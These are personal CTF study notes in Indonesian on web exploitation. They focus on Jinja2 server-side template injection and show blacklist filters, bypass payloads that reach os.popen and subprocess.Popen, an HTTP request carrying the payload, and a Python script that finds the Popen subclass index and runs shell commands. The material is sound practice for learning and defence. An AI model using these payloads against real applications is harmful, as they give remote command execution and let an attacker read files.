My CTF - Notes

July 25, 2025

Ini adalah catetan saya yang dibuat secara personal berdasarkan pengalaman saya yang telah mengerjakan ctf selama ini

Web

SSTI

ada chall ini, diberikan program berikut:

def security_filter(user_input):
 blacklist = ["%", "\\", "/", "\"", "'", "`", "|", " ", "[", "]", "+","init", "subprocess", "globlas", "config", "update", "mro", "subclasses",
"class", "base", "builtins", "cycler", "joiner", "namespace", "lipsum"]

 for word in blacklist:
    if word in user_input:
        return False
 return True

payload untuk bypass : {{url_for.__globals__.os.popen(request.headers.tel).read()}}

req header:

POST /search HTTP/1.1
Host: 103.160.212.3:1339
Content-Length: 70
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://103.160.212.3:1339
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
Tel: cat /flag.txt   -> ini variabel baru
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/a
png,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://103.160.212.3:1339/

Accept-Encoding: gzip, deflate, br
Connection: keep-alive

query={{url_for.__globals__.os.popen(request.headers.tel).read()}}

atau bisa juga

{{url_for.__globals__.os.popen(request.args.a).read()}}

alt text


The regex expression is /^[0–9a-z ]+$/i

  • Only numbers and lowercase
  • Key insensitive

alt text

alt text


The Regex filter bypass is:

/(\b)(on\S+)(\s*)=|javascript|<(|\/|[^\/>][^>]+|\/[^>][^>]+)>|({+.*}+)/




{system('whoami')

}


blacklists =['os', 'sys', 'import','subprocess', 'shutil', 'tempfile', 'pickle', 'marshal',
            'write', 'eval', 'exec', 'system', 'popen', 'open',
            'call', 'check_output', 'check_call', 'startfile', 'remove', 'unlink',
            'rmdir', 'remove', 'rename', 'replace', 'chdir', 'chmod', 'chown',
            'chroot', 'link', 'lchown', 'listdir', 'lstat', 'mkdir', 'makedirs',
            'mkfifo', 'mknod', 'open', 'openpty', 'remove', 'removedirs',
            'rename', 'renames', 'rmdir', 'stat', 'symlink', 'unlink', 'walk', 'write',
            'popen', 'builtins', 'global'] 

pertama cari dulu class2 nya pake ini:

{{ dict.__base__.__subclasses__()[50:100] }}

intinya kita harus dapetin class seperti Popopen buat bisa ngelakuin command, nah kita harus cari di index mana, jadi bisa pake script ini buat nyari biar ga cape nge brute:

import requests
from bs4 import BeautifulSoup

# Konfigurasi
url = "http://localhost:8888/card"
headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}

# Fungsi untuk kirim payload dan ambil hasil render
def send_payload(payload):
    try:
        res = requests.post(url, data=f"name={payload}", headers=headers, timeout=5)
        soup = BeautifulSoup(res.text, "html.parser")
        return soup.get_text()
    except Exception as e:
        return f"[!] Error: {e}"

# 1. Cari index dari subprocess.Popen
def find_popen_index(start=0, end=500):
    print("[*] Searching for subprocess.Popen...")
    for i in range(start, end):
        payload = f"{{{{ dict.__base__.__subclasses__()[{i}] }}}}"
        result = send_payload(payload)
        if "subprocess.Popen" in result:
            print(f"[+] Found subprocess.Popen at index: {i}")
            return i
    print("[!] subprocess.Popen not found")
    return None

# 2. Eksekusi perintah via subprocess.Popen
def execute_command(popen_index, command="cat /flag.txt"):
    payload = (
        f"{{{{ dict.__base__.__subclasses__()[{popen_index}]("
        f"'{command}', shell=True, stdout=-1).communicate() }}}}"
    )
    print(f"[*] Executing: {command}")
    result = send_payload(payload)
    print("\n[+] Command Output:\n", result.strip())

# Main
if __name__ == "__main__":
    popen_index = find_popen_index()
    if popen_index is not None:
        execute_command(popen_index)

misal kita dapet class subprocess.Popen di index 371 kita tinggal masukin command:

{{ dict.__base__.__subclasses__()[371]("cat /flag.txt", shell=True, stdout=-1).communicate() }}

tapi untuk chall ini, letak flag di letakkan di luar main dir /app, sedangkan flag di taruh di /, sehingga kita bisa modifikasi command nya jadi:

{{ dict.__base__.__subclasses__()[371]("for f in /?*.txt; do cat $f; done", shell=True, stdout=-1).communicate() }}